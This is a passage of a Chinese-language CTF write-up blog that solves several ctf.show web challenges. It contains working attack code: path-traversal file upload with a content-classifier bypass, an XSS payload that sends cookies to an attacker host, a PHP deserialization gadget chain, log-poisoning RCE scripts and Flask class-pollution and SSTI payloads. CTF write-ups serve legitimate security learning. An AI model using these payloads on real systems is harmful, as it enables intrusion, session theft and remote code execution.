	if session.get(&quot;isSVIP&quot;):
		return &quot;logined&quot;
	if request.method == &quot;GET&quot;:
		return &quot;input your username and password plz&quot;
	elif request.method == &quot;POST&quot;:
		try:
			user = request.form.get(&quot;username&quot;).strip()
			pwd = request.form.get(&quot;password&quot;).strip()
			if user == vip_user and pwd == vip_pwd:
				session[&quot;isSVIP&quot;] = &quot;True&quot;
			else:
				session[&quot;isSVIP&quot;] = &quot;False&quot;
			# 写入硬盘中，方便bot验证。
			file = os.path.join(CHECK_FOLDER,&quot;vip.json&quot;)
			with open(file,&quot;w&quot;) as f:
				json.dump({k: v for k, v in session.items()},f)
				f.close()
			return f&quot;{user} login success&quot;
		except:
			return &quot;you broke the server,get out!&quot;

@app.route(&quot;/upload&quot;,methods = [&quot;POST&quot;])      
def upload():   
	try:
		content = request.form.get(&quot;content&quot;).strip()
		name = request.form.get(&quot;name&quot;).strip()
		file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容
		if isSecure(file_type):
			file = os.path.join(USER_FOLDER,name)
			with open(file,&quot;w&quot;) as f:
				f.write(content)
			f.close()
			return &quot;ok,share your link to bot: /visit?link=user/&quot;+ name
		return &quot;black!&quot;
	except:
		return &quot;you broke the server,fuck out!&quot;

@app.route(&apos;/&apos;)
def index():
	return app.send_static_file(&apos;index.html&apos;)

@app.route(&apos;/visit&apos;)
def visit():
	link = request.args.get(&quot;link&quot;)
	return bot_visit(link)

@app.route(&apos;/share&apos;)
def share():
	file = request.args.get(&quot;file&quot;)
	return app.send_static_file(file)

@app.route(&quot;/clear&quot;,methods=[&apos;GET&apos;])
def clear():
	session.clear()
	return &quot;session clear success&quot;

@app.route(&quot;/check&quot;,methods=[&apos;GET&apos;])
def check():
	path = os.path.join(CHECK_FOLDER,&quot;vip.json&quot;)             #join
	if os.path.exists(path):
		content = open(path,&quot;r&quot;).read()
		try:
			isSVIP = ast.literal_eval(json.loads(content)[&quot;isSVIP&quot;])
		except:
			isSVIP = False
		return &quot;VIP&quot; if isSVIP else &quot;GUEST&quot;
	else:
		return &quot;GUEST&quot;

if __name__ == &quot;__main__&quot;:
	app.run(&quot;0.0.0.0&quot;,5050)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/check路由作用是读取vip.json的内容并判断是否为VIP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/check&quot;,methods=[&apos;GET&apos;])
def check():
	path = os.path.join(CHECK_FOLDER,&quot;vip.json&quot;)             #join
	if os.path.exists(path):
		content = open(path,&quot;r&quot;).read()
		try:
			isSVIP = ast.literal_eval(json.loads(content)[&quot;isSVIP&quot;])
		except:
			isSVIP = False
		return &quot;VIP&quot; if isSVIP else &quot;GUEST&quot;
	else:
		return &quot;GUEST&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们查看/login路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/login&quot;,methods=[&apos;GET&apos;,&apos;POST&apos;])
def login():
	if session.get(&quot;isSVIP&quot;):
		return &quot;logined&quot;
	if request.method == &quot;GET&quot;:
		return &quot;input your username and password plz&quot;
	elif request.method == &quot;POST&quot;:
		try:
			user = request.form.get(&quot;username&quot;).strip()
			pwd = request.form.get(&quot;password&quot;).strip()
			if user == vip_user and pwd == vip_pwd:
				session[&quot;isSVIP&quot;] = &quot;True&quot;
			else:
				session[&quot;isSVIP&quot;] = &quot;False&quot;
			# 写入硬盘中，方便bot验证。
			file = os.path.join(CHECK_FOLDER,&quot;vip.json&quot;)
			with open(file,&quot;w&quot;) as f:
				json.dump({k: v for k, v in session.items()},f)
				f.close()
			return f&quot;{user} login success&quot;
		except:
			return &quot;you broke the server,get out!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录成功后会将isSVIP的session值写入/app/check/vip.json，但是vip_pwd未知，始终为False&lt;/p&gt;
&lt;p&gt;我们接着看/upload路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/upload&quot;,methods = [&quot;POST&quot;])      
def upload():   
	try:
		content = request.form.get(&quot;content&quot;).strip()
		name = request.form.get(&quot;name&quot;).strip()
		file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容
		if isSecure(file_type):
			file = os.path.join(USER_FOLDER,name)
			with open(file,&quot;w&quot;) as f:
				f.write(content)
			f.close()
			return &quot;ok,share your link to bot: /visit?link=user/&quot;+ name
		return &quot;black!&quot;
	except:
		return &quot;you broke the server,fuck out!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里name可控，我们可以通过../将绝对路径上传变成任意文件上传，从而将/app/check/vip.json覆盖掉。但是这里对上传的content有限制，通过大模型identify_bytes检测后若预测值不是[&quot;json&quot;,&apos;py&apos;,&apos;sh&apos;, &quot;html&quot;] 即可上传文件。&lt;/p&gt;
&lt;p&gt;这里我们跟进identify_bytes&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225203758347-1766670360263-18.png&quot; alt=&quot;image-20251225203758347&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们注意到，若是上传的内容长度小于_min_file_size_for_dl，则会调用_get_result_of_few_bytes，跟进_get_result_of_few_bytes&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225203953152-1766670360263-16.png&quot; alt=&quot;image-20251225203953152&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现返回的是 ContentType.GENERIC_TEXT，硬编码也就是txt&lt;/p&gt;
&lt;p&gt;我们接着跟进_min_file_size_for_dl&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225204106672-1766670360263-19.png&quot; alt=&quot;image-20251225204106672&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现这里是访问/config/magika_config.json，我们打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225204147778-1766670360264-20.png&quot; alt=&quot;image-20251225204147778&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&quot;min_file_size_for_dl&quot;: 16&lt;/p&gt;
&lt;p&gt;也就是上传的content内容小于16即可绕过黑名单，使返回的为txt&lt;/p&gt;
&lt;p&gt;我们回到/login路由，session[&quot;isSVIP&quot;] = &quot;True&quot;，所以我们得构造{&quot;isSVIP&quot;:&quot;True&quot;}覆盖掉/app/check/vip.json&lt;/p&gt;
&lt;p&gt;但是这里正好为17，magika会预测这里为json&lt;/p&gt;
&lt;p&gt;我们继续查看/check路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	if os.path.exists(path):
		content = open(path,&quot;r&quot;).read()
		try:
			isSVIP = ast.literal_eval(json.loads(content)[&quot;isSVIP&quot;])
		except:
			isSVIP = False
		return &quot;VIP&quot; if isSVIP else &quot;GUEST&quot;
	else:
		return &quot;GUEST&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中return &quot;VIP&quot; if isSVIP else &quot;GUEST&quot;，也就是如果isSVIP为True，即值为1也可以通过这个判断&lt;/p&gt;
&lt;p&gt;我们上传{&quot;isSVIP&quot;:&quot;1&quot;}绕过magika 的检测，同时让 ast.literal_eval 判定为 SVIP&lt;/p&gt;
&lt;p&gt;我们访问upload路由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/upload

POST:
name=../../../check/vip.json&amp;amp;content={&quot;isSVIP&quot;:&quot;1&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们查看/check路由，可以看到返回了VIP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225205117184-1766670360264-22.png&quot; alt=&quot;image-20251225205117184&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们上传一个html让bot访问该网页，触发xss将cookie传出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/upload


POST:
name=1.html&amp;amp;content={script}fetch(&quot;http://your-ip:9999/?flag=&quot;+document.cookie){/script}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225205926846-1766670360264-21.png&quot; alt=&quot;image-20251225205926846&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们访问/visit?link=user/1.html&lt;/p&gt;
&lt;p&gt;在vps上python3 -m http.server 9999&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251224221424520-1766670360264-23.png&quot; alt=&quot;image-20251224221424520&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag:&lt;/p&gt;
&lt;p&gt;ctfshow{63ad0925-ecd0-4d6e-8ca8-7691c40cc3cb}&lt;/p&gt;
&lt;h2&gt;SendMessage&lt;/h2&gt;
&lt;p&gt;这题官方wp没看懂咋触发的，我们直接打&lt;/p&gt;
&lt;p&gt;● 使用nc和C程序交互，C程序和内网的web程序交互&lt;/p&gt;
&lt;p&gt;● 内网的web是tp8.0&lt;/p&gt;
&lt;p&gt;● 内网的web主控制器Index 会从共享内存获取数据&lt;/p&gt;
&lt;p&gt;● C程序可以往共享内存写入数据&lt;/p&gt;
&lt;p&gt;● C程序和web程序使用同一个共享内存(写入错误格式，web报500错误来判断)&lt;/p&gt;
&lt;p&gt;而php在处理共享内存跨进程通讯时，如果内存里面的内容可控，会直接触发反序列化操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import time
#Author: ctfshow/h1xa
#Description: read flag from /f* 

address = &quot;pwn.challenge.ctf.show&quot;
port = 28202

data = b&apos;\x50\x48\x50\x5F\x53\x4D\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\xF8\x23\x00\x00\x00\x00\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCF\x02\x00\x00\x00\x00\x00\x00\xF0\x02\x00\x00\x00\x00\x00\x00\x4F\x3A\x32\x38\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x72\x6F\x75\x74\x65\x5C\x52\x65\x73\x6F\x75\x72\x63\x65\x52\x65\x67\x69\x73\x74\x65\x72\x22\x3A\x31\x3A\x7B\x73\x3A\x38\x3A\x22\x72\x65\x73\x6F\x75\x72\x63\x65\x22\x3B\x4F\x3A\x31\x37\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x6D\x6F\x64\x65\x6C\x5C\x50\x69\x76\x6F\x74\x22\x3A\x37\x3A\x7B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x73\x75\x66\x66\x69\x78\x22\x3B\x73\x3A\x34\x3A\x22\x68\x31\x78\x61\x22\x3B\x73\x3A\x38\x3A\x22\x00\x2A\x00\x74\x61\x62\x6C\x65\x22\x3B\x4F\x3A\x31\x37\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x6D\x6F\x64\x65\x6C\x5C\x50\x69\x76\x6F\x74\x22\x3A\x37\x3A\x7B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x73\x75\x66\x66\x69\x78\x22\x3B\x73\x3A\x34\x3A\x22\x68\x31\x78\x61\x22\x3B\x73\x3A\x38\x3A\x22\x00\x2A\x00\x74\x61\x62\x6C\x65\x22\x3B\x4E\x3B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x61\x70\x70\x65\x6E\x64\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x41\x41\x41\x41\x22\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x22\x3B\x61\x3A\x31\x3A\x7B\x69\x3A\x30\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x31\x31\x3A\x22\x00\x2A\x00\x77\x69\x74\x68\x41\x74\x74\x72\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x36\x3A\x22\x73\x79\x73\x74\x65\x6D\x22\x3B\x7D\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x64\x61\x74\x61\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x33\x39\x3A\x22\x74\x61\x63\x20\x2F\x66\x2A\x20\x3E\x2F\x76\x61\x72\x2F\x77\x77\x77\x2F\x68\x74\x6D\x6C\x2F\x70\x75\x62\x6C\x69\x63\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x22\x3B\x7D\x7D\x73\x3A\x31\x32\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x41\x73\x73\x6F\x63\x22\x3B\x62\x3A\x31\x3B\x7D\x73\x3A\x39\x3A\x22\x00\x2A\x00\x61\x70\x70\x65\x6E\x64\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x41\x41\x41\x41\x22\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x22\x3B\x61\x3A\x31\x3A\x7B\x69\x3A\x30\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x31\x31\x3A\x22\x00\x2A\x00\x77\x69\x74\x68\x41\x74\x74\x72\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x36\x3A\x22\x73\x79\x73\x74\x65\x6D\x22\x3B\x7D\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x64\x61\x74\x61\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x33\x39\x3A\x22\x74\x61\x63\x20\x2F\x66\x2A\x20\x3E\x2F\x76\x61\x72\x2F\x77\x77\x77\x2F\x68\x74\x6D\x6C\x2F\x70\x75\x62\x6C\x69\x63\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x22\x3B\x7D\x7D\x73\x3A\x31\x32\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x41\x73\x73\x6F\x63\x22\x3B\x62\x3A\x31\x3B\x7D\x7D\x00&apos;

io = remote(address, port)

# context(arch=&apos;amd64&apos;, os=&apos;linux&apos; , log_level=&apos;debug&apos;)
io.recvuntil(b&apos;Exit\n&apos;)
io.sendline(b&apos;1&apos;)
io.recvuntil(b&apos;message:&apos;)
io.sendline(data)
io.recvuntil(b&apos;Exit\n&apos;)
io.sendline(b&apos;3&apos;)
time.sleep(3)
io.recvuntil(b&apos;Exit\n&apos;)
io.sendline(b&apos;3&apos;)
io.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225213813249-1766670360264-24.png&quot; alt=&quot;image-20251225213813249&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{6a810db2-4810-4043-8183-b24999c0ddcd}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251225213648777-1766670360264-25.png&quot; alt=&quot;image-20251225213648777&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>DSBCTF_单身杯-web</title><link>https://origin618.github.io/posts/dsbctf_%E5%8D%95%E8%BA%AB%E6%9D%AF-web/</link><guid isPermaLink="true">https://origin618.github.io/posts/dsbctf_%E5%8D%95%E8%BA%AB%E6%9D%AF-web/</guid><description>DSBCTF_单身杯-web</description><pubDate>Tue, 23 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;DSBCTF_单身杯-web&lt;/h1&gt;
&lt;h2&gt;签到·好玩的PHP&lt;/h2&gt;
&lt;p&gt;代码审计&lt;/p&gt;
&lt;p&gt;d,s,b会被强制转成字符串类型，值互相不相等，拼接后小于3，与ctf值不相等但是md5值相等&lt;/p&gt;
&lt;p&gt;这里我们用尝试用PHP中的特殊浮点数常量&lt;code&gt;NAN&lt;/code&gt;和&lt;code&gt;INF&lt;/code&gt;，其中NAN不满足第一个if，因此这里使用INF&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
	class ctfshow {
        private $d = &apos;I&apos;;
        private $s = &apos;N&apos;;
        private $b = &apos;F&apos;;
        private $ctf = INF;
    $dsbctf = new ctfshow();
    
    echo urlencod(serialize($dasctf));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%22I%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%22N%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%22F%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bd%3AINF%3B%7D
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222105108549-1766372210495-1-1766534912653-1.png&quot; alt=&quot;image-20251222105108549&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{387963bc-f4af-4d69-8142-b720d0e752c8}&lt;/p&gt;
&lt;h2&gt;迷雾重重&lt;/h2&gt;
&lt;p&gt;拿到源代码先查看控制器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
    public function index(Request $request)
    {
        
        return view(&apos;index/index&apos;);
    }

    public function testUnserialize(Request $request){
        if(null !== $request-&amp;gt;get(&apos;data&apos;)){
            $data = $request-&amp;gt;get(&apos;data&apos;);
            unserialize($data);
        }
        return &quot;unserialize测试完毕&quot;;
    }

    public function testJson(Request $request){
        if(null !== $request-&amp;gt;get(&apos;data&apos;)){
            $data = json_decode($request-&amp;gt;get(&apos;data&apos;),true);
            if(null!== $data &amp;amp;&amp;amp; $data[&apos;name&apos;] == &apos;guest&apos;){
                return view(&apos;index/view&apos;, $data);
            }
        }
        return &quot;json_decode测试完毕&quot;;
    }

    public function testSession(Request $request){
        $session = $request-&amp;gt;session();
        $session-&amp;gt;set(&apos;username&apos;,&quot;guest&quot;);
        $data = $session-&amp;gt;get(&apos;username&apos;);
        return &quot;session测试完毕 username: &quot;.$data;

    }

    public function testException(Request $request){
        if(null != $request-&amp;gt;get(&apos;data&apos;)){
            $data = $request-&amp;gt;get(&apos;data&apos;);
            throw new BusinessException(&quot;业务异常 &quot;.$data,3000);
        }
        return &quot;exception测试完毕&quot;;
    }


}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到&lt;code&gt;unserialize&lt;/code&gt;想到构造反序列化链，但是找魔术方法发现没有可利用的&lt;/p&gt;
&lt;p&gt;session里面的内容不可控，只有testJson&lt;/p&gt;
&lt;p&gt;上传的数据经过json解码交给view解析模板&lt;/p&gt;
&lt;p&gt;查看/config/view.php，发现用的是原生类&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222154603058-1766534912654-2.png&quot; alt=&quot;image-20251222154603058&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们跟进Raw的render方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222181653368-1766534912654-3.png&quot; alt=&quot;image-20251222181653368&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
    {
        $request = request();
        $plugin = $plugin === null ? ($request-&amp;gt;plugin ?? &apos;&apos;) : $plugin;
        $configPrefix = $plugin ? &quot;plugin.$plugin.&quot; : &apos;&apos;;
        $viewSuffix = config(&quot;{$configPrefix}view.options.view_suffix&quot;, &apos;html&apos;);
        $app = $app === null ? ($request-&amp;gt;app ?? &apos;&apos;) : $app;
        $baseViewPath = $plugin ? base_path() . &quot;/plugin/$plugin/app&quot; : app_path();
        $__template_path__ = $app === &apos;&apos; ? &quot;$baseViewPath/view/$template.$viewSuffix&quot; : &quot;$baseViewPath/$app/view/$template.$viewSuffix&quot;;

        if(isset($request-&amp;gt;_view_vars)) {
            extract((array)$request-&amp;gt;_view_vars);
        }
        extract($vars);
        ob_start();
        // Try to include php file.
        try {
            include $__template_path__;
        } catch (Throwable $e) {
            ob_end_clean();
            throw $e;
        }

        return ob_get_clean();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们关注extract($vars);include $&lt;strong&gt;template_path&lt;/strong&gt;;&lt;/p&gt;
&lt;p&gt;extract($vars)能让我们修改内存中变量，造成&lt;strong&gt;变量覆盖漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们只需要覆盖掉&lt;code&gt;$__template_path__&lt;/code&gt;即可转为&lt;strong&gt;文件包含漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里我们尝试包含框架日志文件，通过下面方法探测文件路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_webroot():
    print(&quot;[+] Getting webroot...&quot;)
    
    webroot = &quot;&quot;

    for i in range(1,300):
        r = requests.get(url=url+&apos;index/testJson?data={{&quot;name&quot;: &quot;guest&quot;, &quot;__template_path__&quot;: &quot;/proc/{}/cmdline&quot;}}&apos;.format(i))   
        time.sleep(0.2)
        if &quot;start.php&quot; in r.text:
            print(f&quot;[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline&quot;)
            webroot = r.text.split(&quot;start_file=&quot;)[1][:-10]
            print(f&quot;Found webroot: {webroot}&quot;)
            break
    return webroot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将模板引擎覆盖为我们构造的payload，发送给服务器触发报错,使框架的日志系统将这个错误的参数值原封不动地写入当天的日志文件中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def send_shell(webroot):
    #payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;&amp;lt;?php%20`ls%20/&amp;gt;{}/public/ls.txt`;?&amp;gt;&quot;}}&apos;.format(webroot)
    payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;&amp;lt;?php%20`cat%20/s00*&amp;gt;{}/public/flag.txt`;?&amp;gt;&quot;}}&apos;.format(webroot)
    r = requests.get(url=url+payload)
    time.sleep(1)
    if r.status_code == 500:
        print(&quot;[\033[31m*\033[0m] Shell sent successfully&quot;)
    else:
        print(&quot;Failed to send shell&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后我们让PHP引擎去运行这个日志文件，使我们构造的命令得以执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def include_shell(webroot):
    now = datetime.now()
    payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;{}/runtime/logs/webman-{}-{}-{}.log&quot;}}&apos;.format(webroot, now.strftime(&quot;%Y&quot;), now.strftime(&quot;%m&quot;), now.strftime(&quot;%d&quot;))
    r = requests.get(url=url + payload)
    time.sleep(5)
    r = requests.get(url=url + &apos;flag.txt&apos;)
    if &quot;ctfshow&quot; in r.text:
        print(&quot;=================FLAG==================\n&quot;)
        print(&quot;\033[32m&quot; + r.text + &quot;\033[0m&quot;)
        print(&quot;=================FLAG==================\n&quot;)
        print(&quot;[\033[31m*\033[0m] Shell included successfully&quot;)
    else:
        print(&quot;Failed to include shell&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;探测存在的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222162938411-1766534912654-4.png&quot; alt=&quot;image-20251222162938411&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag 在/s000ecretF1ag999.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222163135297-1766534912654-5.png&quot; alt=&quot;image-20251222163135297&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{cdc533ec-485e-4014-8d78-41182c0902e9}&lt;/p&gt;
&lt;p&gt;下面给出官方脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
from datetime import datetime

# 注意 这里题目地址 应该https换成http
url = &quot;http://df5eca96-11bc-402c-83ae-523693014a25.challenge.ctf.show/&quot;


# Author: ctfshow h1xa
def get_webroot():
    print(&quot;[+] Getting webroot...&quot;)

    webroot = &quot;&quot;

    for i in range(1, 300):
        r = requests.get(
            url=url + &apos;index/testJson?data={{&quot;name&quot;: &quot;guest&quot;, &quot;__template_path__&quot;: &quot;/proc/{}/cmdline&quot;}}&apos;.format(i))
        time.sleep(0.2)
        if &quot;start.php&quot; in r.text:
            print(f&quot;[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline&quot;)
            webroot = r.text.split(&quot;start_file=&quot;)[1][:-10]
            print(f&quot;Found webroot: {webroot}&quot;)
            break
    return webroot


def send_shell(webroot):
    # payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;&amp;lt;?php%20`ls%20/&amp;gt;{}/public/ls.txt`;?&amp;gt;&quot;}}&apos;.format(webroot)
    payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;&amp;lt;?php%20`cat%20/s00*&amp;gt;{}/public/flag.txt`;?&amp;gt;&quot;}}&apos;.format(
        webroot)
    r = requests.get(url=url + payload)
    time.sleep(1)
    if r.status_code == 500:
        print(&quot;[\033[31m*\033[0m] Shell sent successfully&quot;)
    else:
        print(&quot;Failed to send shell&quot;)


def include_shell(webroot):
    now = datetime.now()
    payload = &apos;index/testJson?data={{&quot;name&quot;:&quot;guest&quot;,&quot;__template_path__&quot;:&quot;{}/runtime/logs/webman-{}-{}-{}.log&quot;}}&apos;.format(
        webroot, now.strftime(&quot;%Y&quot;), now.strftime(&quot;%m&quot;), now.strftime(&quot;%d&quot;))
    r = requests.get(url=url + payload)
    time.sleep(5)
    r = requests.get(url=url + &apos;flag.txt&apos;)
    if &quot;ctfshow&quot; in r.text:
        print(&quot;=================FLAG==================\n&quot;)
        print(&quot;\033[32m&quot; + r.text + &quot;\033[0m&quot;)
        print(&quot;=================FLAG==================\n&quot;)
        print(&quot;[\033[31m*\033[0m] Shell included successfully&quot;)
    else:
        print(&quot;Failed to include shell&quot;)


def exploit():
    webroot = get_webroot()
    send_shell(webroot)
    include_shell(webroot)


if __name__ == &apos;__main__&apos;:
    exploit()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方推理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nginx apache 不存在，排除日志包含的思路&lt;/li&gt;
&lt;li&gt;pearcmd 由于命令行启动 这里不能使用&lt;code&gt;php-fpm&lt;/code&gt;的方式 包含&lt;code&gt;pearcmd.php&lt;/code&gt;来&lt;code&gt;getshell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;session 文件包含 需要找到网站部署的目录名字 进行绝对路径包含 相对路径无法定位到&lt;code&gt;session&lt;/code&gt;文件&lt;/li&gt;
&lt;li&gt;文件上传未开启 无法包含临时文件 和 文件上传 &lt;code&gt;session&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;远程文件包含 测试发现除了file协议 其他伪协议并未开启&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ez_inject&lt;/h2&gt;
&lt;p&gt;注册登录后发现有个secret路由需要admin才能登陆&lt;/p&gt;
&lt;p&gt;我们尝试在register处污染key&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json

url = &quot;http://473b22fe-1306-46d1-abd4-30ee170d7469.challenge.ctf.show/register&quot;
payload = {
    &quot;username&quot;: &quot;123&quot;,
    &quot;password&quot;: &quot;123&quot;,
    &quot;__init__&quot;: {&quot;__globals__&quot;: {&quot;app&quot;: {&quot;config&quot;: {&quot;SECRET_KEY&quot;: &quot;123&quot;}}}},
}
r = requests.post(url=url, json=payload)
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功之后登录，用unsign解密session，然后进行加密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;D:\0Apython&amp;gt;flask-unsign --decode --cookie &quot;eyJpc19hZG1pbiI6MCwidXNlcm5hbWUiOiJxd2UifQ.aUkjqA.V7Qqc8mh0kuq-3mbU_ElyCM8CU0&quot; --secret &quot;123&quot;
{&apos;is_admin&apos;: 0, &apos;username&apos;: &apos;qwe&apos;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换session后点击secret，提示在echo处
有session可以确定是flask
flask的ssti注入，我们这里用盲注&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cycler[&quot;__in&quot;+&quot;it__&quot;][&quot;__glo&quot;+&quot;bals__&quot;]  [&quot;__bui&quot;+&quot;ltins__&quot;].__import__(&apos;builtins&apos;).open(&apos;/flag&apos;).read(1)[0]==&apos;c&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;盲注&lt;/p&gt;
